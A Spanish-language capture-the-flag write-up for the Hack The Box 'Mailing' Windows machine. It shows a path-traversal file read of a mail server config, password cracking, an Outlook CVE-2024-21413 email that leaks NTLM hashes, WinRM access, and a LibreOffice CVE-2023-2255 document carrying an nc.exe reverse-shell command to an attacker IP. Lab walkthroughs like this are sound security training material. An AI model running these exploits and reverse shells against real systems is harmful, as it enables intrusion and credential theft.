Mailing
OS: Windows
Dificultad: Fácil
Puntos: 20
Nmap Scan
ports=$(nmap -p- --min-rate=5000 -T4 10.129.13.29 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p $ports -sC -sV -oN nmap.txt 10.129.13.29Nmap scan report for 10.129.13.29
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: USER TOP UIDL
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: completed CAPABILITY OK ACL RIGHTS=texkA0001 IMAP4 IDLE SORT NAMESPACE QUOTA CHILDREN IMAP4rev1
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
993/tcp open ssl/imap hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
|_imap-capabilities: completed CAPABILITY OK ACL RIGHTS=texkA0001 IMAP4 IDLE SORT NAMESPACE QUOTA CHILDREN IMAP4rev1
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
64503/tcp open msrpc Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windowsEnumeracion
En la pagina principal se encuentra un boton para descargar archivos.
Esta funcion es vulnerable a LFI.
Local File Inclusion (LFI)
Podemos obtener el archivo de configuracion de hMailServer a traves del LFI.
http://mailing.htb/download.php?file=../../Program+Files+(x86)/hmailserver/Bin/hmailserver.ini[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7Crack Hash
Utilizando crackstation obtenemos el password.
homenetworkingadministratorMicrosoft Outlook RCE (CVE-2024-21413)
Despues de investigar varias cosas se dedujo que posiblemete es vulnerable al CVE-2024-21413 ya que se menciona mucho outlook en el PDF de la funcion de descarga y tenemos un usuario/password para mandar correos. Llegamos al exploit de outlook que nos permitira lekear informacion con el siguiente script:
python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.218\doom' --subject 'Test'Tambien es posible obtenerlo de la siguiente forma que me funciono correctamente.
swaks --auth LOGIN --server mailing.htb --port 587 --to maya@mailing.htb --from administrator@mailing.htb --auth-user administrator@mailing.htb --auth-password homenetworkingadministrator --body '<html><body><a href="file:///\\\\10.10.14.218\\test\\test.rtf!something">CLICK ME</a></body></html>'responder -I tun0 -v
Usamos John para crackear el password.
┌──(root㉿kali)-[~/htb/Box/Mailing]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri (maya)
1g 0:00:00:06 DONE (2024-05-07 09:10) 0.1501g/s 890849p/s 890849c/s 890849C/s m61405..m4895621
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. Con ese password podemos autenticarnos por winrm.
evil-winrm -i mailing.htb -u 'maya' -p 'm4y4ngs4ri'
Privilege Escalation
En la raiz hay una carpeta llamada Important Documents.
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/10/2024 5:32 PM Important Documents
d----- 2/28/2024 8:49 PM inetpub
d----- 12/7/2019 10:14 AM PerfLogsTambien en los programas del sistema encontramos LibreOffice instalado en su version 7.4.
*Evil-WinRM* PS C:\> type "Program Files\LibreOffice\readmes\readme_en-US.txt"
======================================================================
LibreOffice 7.4 ReadMe
======================================================================LibreOffice (CVE-2023-2255)
La version de LibreOffice es vulnerable al siguiente exploit.
Primero subiremos nc.exe a la maquina para obtener una reverse shell.
mkidr c:\temp
upload /root/htb/Box/Mailing/nc.exe c:\temp\*Evil-WinRM* PS C:\Important documents> dir c:\temp
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/7/2024 3:31 PM 45272 nc.exeAhora generaremos nuestro archivo odt.
┌──(root㉿kali)-[~/htb/Box/Mailing/CVE-2023-2255]
└─# python3 CVE-2023-2255.py --cmd "c:\temp\nc.exe -e cmd.exe 10.10.14.218 1234" --output 'doom.odt'
File doom.odt has been created !Posteriormente lo descargaremos en la maquina en el directorio Important documents.
*Evil-WinRM* PS C:\Important documents> upload /root/htb/Box/Mailing/CVE-2023-2255/doom.odt
Info: Uploading /root/htb/Box/Mailing/CVE-2023-2255/doom.odt to C:\Important documents\doom.odt
Data: 40704 bytes of 40704 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Important documents> dir
Directory: C:\Important documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/7/2024 3:36 PM 30529 doom.odtDespues de un momento obtenemos nuestra reverse shell.
Este usuario cuenta con todos los privilegios asi que podemos realizar cualquier accion.
Referencias
https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
https://github.com/elweth-sec/CVE-2023-2255
https://github.com/int0x33/nc.exe/blob/master/nc64.exe